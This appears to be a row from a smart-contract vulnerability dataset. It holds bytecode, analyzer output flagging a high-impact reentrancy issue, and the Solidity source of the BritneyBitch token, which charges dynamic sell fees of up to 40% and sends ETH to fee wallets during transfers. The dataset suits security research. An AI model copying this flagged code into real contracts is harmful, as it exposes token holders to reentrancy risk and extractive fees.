27f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047e565b803561167881611a49565b919050565b60006020828403121561168e578081fd5b813561105481611a49565b6000602082840312156116aa578081fd5b815161105481611a49565b600080604083850312156116c7578081fd5b82356116d281611a49565b915060208301356116e281611a49565b809150509250929050565b600080600060608486031215611701578081fd5b833561170c81611a49565b9250602084013561171c81611a49565b929592945050506040919091013590565b6000806040838503121561173f578182fd5b823561174a81611a49565b946020939093013593505050565b6000602080838503121561176a578182fd5b823567ffffffffffffffff80821115611781578384fd5b818501915085601f830112611794578384fd5b8135818111156117a6576117a6611a33565b8060051b604051601f19603f830116810181811085821117156117cb576117cb611a33565b604052828152858101935084860182860187018a10156117e9578788fd5b8795505b83861015611812576117fe8161166d565b8552600195909501949386019386016117ed565b5098975050505050505050565b600060208284031215611830578081fd5b813561105481611a5e565b60006020828403121561184c578081fd5b815161105481611a5e565b600060208284031215611868578081fd5b5035919050565b600080600060608486031215611883578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118c8578581018301518582016040015282016118ac565b818111156118d95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119a7576119a7611a1d565b500190565b6000826119c757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119e6576119e6611a1d565b500290565b6000828210156119fd576119fd611a1d565b500390565b6000600019821415611a1657611a16611a1d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051a57600080fd5b801515811461051a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220397d68fdaf2f1928c26a1694eb668e93b9505bdb029eaa479dc947b530319ce464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,339 |
0x17a644bf6006ed98631c987afbe0da2e3c5ca02f
|
/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
/**
*
* BritneyBitch
* https://t.me/britneybitchtoken
* https://britneybitch.net
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BRBT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"BritneyBitch";
string private constant _symbol = unicode"BRBT";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(8)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600c81526020017f427269746e657942697463680000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4252425400000000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60026009819055506008600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6